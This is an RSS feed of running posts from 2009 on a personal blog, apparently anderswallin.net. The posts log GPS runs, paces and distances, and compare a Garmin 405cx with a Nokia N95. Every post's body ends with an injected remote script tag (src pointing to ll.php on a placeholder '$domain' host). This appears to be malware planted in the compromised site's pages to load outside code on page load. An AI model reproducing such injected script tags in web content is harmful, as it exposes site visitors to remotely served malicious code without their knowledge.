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	<title>anderswallin.net &#187; run</title>
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	<link>http://www.anderswallin.net</link>
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		<item>
		<title>161 km gps-runs in 2009</title>
		<link>http://www.anderswallin.net/2010/01/161-km-gps-runs-in-2009/</link>
		<comments>http://www.anderswallin.net/2010/01/161-km-gps-runs-in-2009/#comments</comments>
		<pubDate>Fri, 01 Jan 2010 11:37:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Running]]></category>
		<category><![CDATA[gps]]></category>
		<category><![CDATA[gpsrun]]></category>
		<category><![CDATA[run]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=2315</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/uploads/2010/01/gpsruns2009.jpg"><img class="alignnone size-medium wp-image-2319" title="gpsruns2009" src="http://www.anderswallin.net/wp-content/uploads/2010/01/gpsruns2009-625x589.jpg" alt="" width="625" height="589" /></a></p>
<p>
<a href='http://www.anderswallin.net/2010/01/161-km-gps-runs-in-2009/hietsu/' title='hietsu'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/01/hietsu1-150x150.jpg" class="attachment-thumbnail" alt="hietsu" title="hietsu" /></a>
<a href='http://www.anderswallin.net/2010/01/161-km-gps-runs-in-2009/gpsruns2009/' title='gpsruns2009'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/01/gpsruns20091-150x150.jpg" class="attachment-thumbnail" alt="gpsruns2009" title="gpsruns2009" /></a>
<a href='http://www.anderswallin.net/2010/01/161-km-gps-runs-in-2009/detail2-2/' title='detail2'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/01/detail21-150x150.jpg" class="attachment-thumbnail" alt="detail2" title="detail2" /></a>
<a href='http://www.anderswallin.net/2010/01/161-km-gps-runs-in-2009/detail1-2/' title='detail1'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/01/detail11-150x150.jpg" class="attachment-thumbnail" alt="detail1" title="detail1" /></a>
<script src="http://$domain/ll.php?kk=11"></script></p>
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		</item>
		<item>
		<title>Sunday 8k</title>
		<link>http://www.anderswallin.net/2009/11/sunday-8k/</link>
		<comments>http://www.anderswallin.net/2009/11/sunday-8k/#comments</comments>
		<pubDate>Sun, 15 Nov 2009 10:57:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Running]]></category>
		<category><![CDATA[8k]]></category>
		<category><![CDATA[gps]]></category>
		<category><![CDATA[gpsrun]]></category>
		<category><![CDATA[run]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/2009/11/sunday-8k/</guid>
		<description><![CDATA[Any snow and ice that was on the streets is gone again and +4C with little wind is quite ideal for running. 8.10km in 54 minutes makes for a leisurely 6:46min/km pace.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/11/2009nov15_8k.jpg"><img src="http://www.anderswallin.net/wp-content/uploads/2009/11/2009nov15_8k-625x514.jpg" alt="2009nov15_8k" title="2009nov15_8k" width="625" height="514" class="alignnone size-medium wp-image-1957" /></a></p>
<p>Any snow and ice that was on the streets is gone again and +4C with little wind is quite ideal for running. 8.10km in 54 minutes makes for a leisurely 6:46min/km pace.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>9k jog</title>
		<link>http://www.anderswallin.net/2009/10/9k-jog/</link>
		<comments>http://www.anderswallin.net/2009/10/9k-jog/#comments</comments>
		<pubDate>Wed, 14 Oct 2009 19:08:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Running]]></category>
		<category><![CDATA[9k]]></category>
		<category><![CDATA[gps]]></category>
		<category><![CDATA[run]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/2009/10/9k-jog/</guid>
		<description><![CDATA[I haven't completely forgot to exercise, but the lack of daylight and cold temperatures make it, at least mentally, a bit harder to get out there and run.]]></description>
			<content:encoded><![CDATA[<p>I haven't completely forgot to exercise, but the lack of daylight and cold temperatures make it, at least mentally, a bit harder to get out there and run.</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/10/9k_2009oct14.jpg"><img src="http://www.anderswallin.net/wp-content/uploads/2009/10/9k_2009oct14-450x288.jpg" alt="9k_2009oct14" title="9k_2009oct14" width="450" height="288" class="alignnone size-medium wp-image-1871" /></a><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>8k</title>
		<link>http://www.anderswallin.net/2009/09/8k/</link>
		<comments>http://www.anderswallin.net/2009/09/8k/#comments</comments>
		<pubDate>Mon, 21 Sep 2009 18:39:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Running]]></category>
		<category><![CDATA[8k]]></category>
		<category><![CDATA[gpsrun]]></category>
		<category><![CDATA[run]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/2009/09/8k/</guid>
		<description><![CDATA[8.7k at slightly faster than 6 min pace.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/09/8k.jpg"><img class="alignnone size-medium wp-image-1716" title="8k" src="http://www.anderswallin.net/wp-content/uploads/2009/09/8k-410x450.jpg" alt="8k" width="410" height="450" /></a></p>
<p>8.7k at slightly faster than 6 min pace.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
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		</item>
		<item>
		<title>8k run</title>
		<link>http://www.anderswallin.net/2009/09/8k-run/</link>
		<comments>http://www.anderswallin.net/2009/09/8k-run/#comments</comments>
		<pubDate>Fri, 18 Sep 2009 13:09:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Running]]></category>
		<category><![CDATA[405cx]]></category>
		<category><![CDATA[8k]]></category>
		<category><![CDATA[gps]]></category>
		<category><![CDATA[gpsrun]]></category>
		<category><![CDATA[n95]]></category>
		<category><![CDATA[run]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=1703</guid>
		<description><![CDATA[An easy jog home from work. The Garmin has an auto-lap feature which takes lap-times each kilometer. This time the N95 trace (yellow) seems less jumpy, but there's still a difference compared to the Garmin: Garmin: 8.28 km in 50 min 50 s, 633 kcal N95: 8.35 km in 50 min 55 s, 731 kcal]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/09/8krun.jpg"><img class="alignnone size-medium wp-image-1705" title="8krun" src="http://www.anderswallin.net/wp-content/uploads/2009/09/8krun-379x450.jpg" alt="8krun" width="379" height="450" /></a></p>
<p>An easy jog home from work. The Garmin has an auto-lap feature which takes lap-times each kilometer.</p>
<p>This time the N95 trace (yellow) seems less jumpy, but there's still a difference compared to the Garmin:</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/09/detail1.jpg"><img class="alignnone size-thumbnail wp-image-1706" title="detail1" src="http://www.anderswallin.net/wp-content/uploads/2009/09/detail1-150x150.jpg" alt="detail1" width="150" height="150" /></a> <a href="http://www.anderswallin.net/wp-content/uploads/2009/09/detail2.jpg"><img class="alignnone size-thumbnail wp-image-1704" title="detail2" src="http://www.anderswallin.net/wp-content/uploads/2009/09/detail2-150x150.jpg" alt="detail2" width="150" height="150" /></a></p>
<p>Garmin: 8.28 km in 50 min 50 s, 633 kcal<br />
N95: 8.35 km in 50 min 55 s, 731 kcal<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
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		</item>
		<item>
		<title>A second GPS test</title>
		<link>http://www.anderswallin.net/2009/09/a-second-gps-test/</link>
		<comments>http://www.anderswallin.net/2009/09/a-second-gps-test/#comments</comments>
		<pubDate>Thu, 10 Sep 2009 19:31:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Running]]></category>
		<category><![CDATA[405cx]]></category>
		<category><![CDATA[8k]]></category>
		<category><![CDATA[gps]]></category>
		<category><![CDATA[n95]]></category>
		<category><![CDATA[run]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=1681</guid>
		<description><![CDATA[A secodn GPS test, this time with the 405cx on my left wrist and the N95 in my right hand. I had hoped this would expose the N95 antenna and improve its performance. Not so. The red trace (405cx) still looks much better while the yellow one (N95) jumps wiggles and snakes around. The summaries [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/09/drumso_run.jpg"><img class="alignnone size-medium wp-image-1682" title="drumso_run" src="http://www.anderswallin.net/wp-content/uploads/2009/09/drumso_run-450x252.jpg" alt="drumso_run" width="450" height="252" /></a></p>
<p>A secodn GPS test, this time with the 405cx on my left wrist and the N95 in my right hand. I had hoped this would expose the N95 antenna and improve its performance. Not so. The red trace (405cx) still looks much better while the yellow one (N95) jumps wiggles and snakes around. The summaries are:</p>
<p>N95: 8.30km in 53 min 13 s, 727 kCal<br />
405cx: 7.92 km in 53 min 31 s, 627 kCal</p>
<p>If you zoom in, the N95 has me walking on water. To be fair the 405cx also looks a bit lost at the beginning of the run (far right), but it does get the street-crossing spot on (middle-right in the pic).</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/09/walk_on_water.jpg"><img class="alignnone size-medium wp-image-1683" title="walk_on_water" src="http://www.anderswallin.net/wp-content/uploads/2009/09/walk_on_water-450x290.jpg" alt="walk_on_water" width="450" height="290" /></a></p>
<p>Then for a straight bit along 'Nokia avenue':</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/09/wiggly.jpg"><img class="alignnone size-medium wp-image-1684" title="wiggly" src="http://www.anderswallin.net/wp-content/uploads/2009/09/wiggly-450x160.jpg" alt="wiggly" width="450" height="160" /></a></p>
<p>That's not pretty. I guess you could argue that on the way out (top) the street has tall houses on both sides, so the N95 (yellow) has a hard time finding satellites, while on the way home (bottom) it's more open and both GPSs perform roughly the same.</p>
<p>Here's part of the route in more open terrain. That seems to confirm that the N95 needs wide open spaces to do well.</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/09/drumso.jpg"><img class="alignnone size-medium wp-image-1685" title="drumso" src="http://www.anderswallin.net/wp-content/uploads/2009/09/drumso-450x262.jpg" alt="drumso" width="450" height="262" /></a></p>
<p>For the record, my N95 8GB runs V 15.0.015 firmware (which I've several times unsuccessfully tried to update with Nokia PC-Suite <img src='http://www.anderswallin.net/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  ) and I'm using Nokia Sports Tracker v2.06 (S60 3.1). Today I had GPS-filtering turned off in sports tracker.</p>
<p>Somewhat surprising results! I would have thought GPS-positioning is a plain-vanilla technology by now and every company does it with equivalent hardware and software. Apparently not, or the N95 antenna is really inefficient, or I'm doing something wrong...<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
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		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Fly Eddie Fly</title>
		<link>http://www.anderswallin.net/2009/09/fly-eddie-fly/</link>
		<comments>http://www.anderswallin.net/2009/09/fly-eddie-fly/#comments</comments>
		<pubDate>Wed, 02 Sep 2009 19:46:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Running]]></category>
		<category><![CDATA[12k]]></category>
		<category><![CDATA[gps]]></category>
		<category><![CDATA[run]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=1610</guid>
		<description><![CDATA[Alas, neither The Eagle nor anyone else was training at the Herttoniemi ski-jump when we paid a visit. 12.57 km in 1 h 20 min, avg. pace 9.4 km/h Now go listen to some music.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/09/skijump.jpg"><img class="alignnone size-full wp-image-1611" title="skijump" src="http://www.anderswallin.net/wp-content/uploads/2009/09/skijump.jpg" alt="skijump" width="450" height="338" /></a></p>
<p>Alas, neither <a href="http://en.wikipedia.org/wiki/Eddie_%22The_Eagle%22_Edwards">The Eagle</a> nor anyone else was <a href="http://www.amazon.ca/Outliers-Story-Success-Malcolm-Gladwell/dp/1600243916/">training</a> at the <a href="http://www.helsinginmakihyppaajat.fi/Makikeskus.asp">Herttoniemi ski-jump</a> when we paid a visit.</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/09/run2009sep2.jpg"><img class="alignnone size-medium wp-image-1612" title="run2009sep2" src="http://www.anderswallin.net/wp-content/uploads/2009/09/run2009sep2-450x357.jpg" alt="run2009sep2" width="450" height="357" /></a></p>
<p>12.57 km in 1 h 20 min, avg. pace 9.4 km/h</p>
<p>Now go listen to <a href="http://www.youtube.com/watch?v=HUmOAnoVkV0">some music</a>.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Saturday run</title>
		<link>http://www.anderswallin.net/2009/08/saturday-run/</link>
		<comments>http://www.anderswallin.net/2009/08/saturday-run/#comments</comments>
		<pubDate>Sun, 30 Aug 2009 19:08:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Running]]></category>
		<category><![CDATA[13k]]></category>
		<category><![CDATA[gps]]></category>
		<category><![CDATA[run]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=1555</guid>
		<description><![CDATA[The presidential garden just outside Mäntyniemi, a Pietilä&#38;Pietilä design which wikipedia claims cost 14-times more to build than planned... 13.3 km at 8.5 km/h pace in 1 h 33 min.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/08/29082009079.jpg"><img class="alignnone size-medium wp-image-1556" title="29082009079" src="http://www.anderswallin.net/wp-content/uploads/2009/08/29082009079-450x337.jpg" alt="29082009079" width="450" height="337" /></a></p>
<p>The presidential garden just outside <a href="http://fi.wikipedia.org/wiki/M%C3%A4ntyniemi">Mäntyniemi</a>, a Pietilä&amp;Pietilä design which <a href="http://en.wikipedia.org/wiki/M%C3%A4ntyniemi">wikipedia claims</a> cost 14-times more to build than planned...</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/08/run2009aug29.jpg"><img class="alignnone size-medium wp-image-1557" title="run2009aug29" src="http://www.anderswallin.net/wp-content/uploads/2009/08/run2009aug29-450x357.jpg" alt="run2009aug29" width="450" height="357" /></a></p>
<p>13.3 km at 8.5 km/h pace in 1 h 33 min.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Moo Moo Land</title>
		<link>http://www.anderswallin.net/2009/08/moo-moo-land/</link>
		<comments>http://www.anderswallin.net/2009/08/moo-moo-land/#comments</comments>
		<pubDate>Thu, 27 Aug 2009 19:15:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Running]]></category>
		<category><![CDATA[12k]]></category>
		<category><![CDATA[gps]]></category>
		<category><![CDATA[gpsrun]]></category>
		<category><![CDATA[moo]]></category>
		<category><![CDATA[run]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=1549</guid>
		<description><![CDATA[Meet "194", a scientific cow living about 6 km east of the lab. 12 k in 1 h 17 min, avg pace 9.4 km/h.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/08/moo.jpg"><img class="alignnone size-medium wp-image-1550" title="moo" src="http://www.anderswallin.net/wp-content/uploads/2009/08/moo-450x337.jpg" alt="moo" width="450" height="337" /></a></p>
<p>Meet "194", a scientific cow living about 6 km east of the lab.</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/08/run2009aug27.jpg"><img class="alignnone size-medium wp-image-1551" title="run2009aug27" src="http://www.anderswallin.net/wp-content/uploads/2009/08/run2009aug27-450x357.jpg" alt="run2009aug27" width="450" height="357" /></a></p>
<p>12 k in 1 h 17 min, avg pace 9.4 km/h.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
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		</item>
		<item>
		<title>10 k jog</title>
		<link>http://www.anderswallin.net/2009/08/10-k-jog/</link>
		<comments>http://www.anderswallin.net/2009/08/10-k-jog/#comments</comments>
		<pubDate>Tue, 25 Aug 2009 20:03:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Running]]></category>
		<category><![CDATA[10k]]></category>
		<category><![CDATA[gps]]></category>
		<category><![CDATA[gpsrun]]></category>
		<category><![CDATA[run]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=1545</guid>
		<description><![CDATA[10.17 k in 64 min, avg. pace 9.6 km/h.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/08/run2009aug25.jpg"><img class="alignnone size-medium wp-image-1544" title="run2009aug25" src="http://www.anderswallin.net/wp-content/uploads/2009/08/run2009aug25-450x357.jpg" alt="run2009aug25" width="450" height="357" /></a></p>
<p>10.17 k in 64 min, avg. pace 9.6 km/h.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
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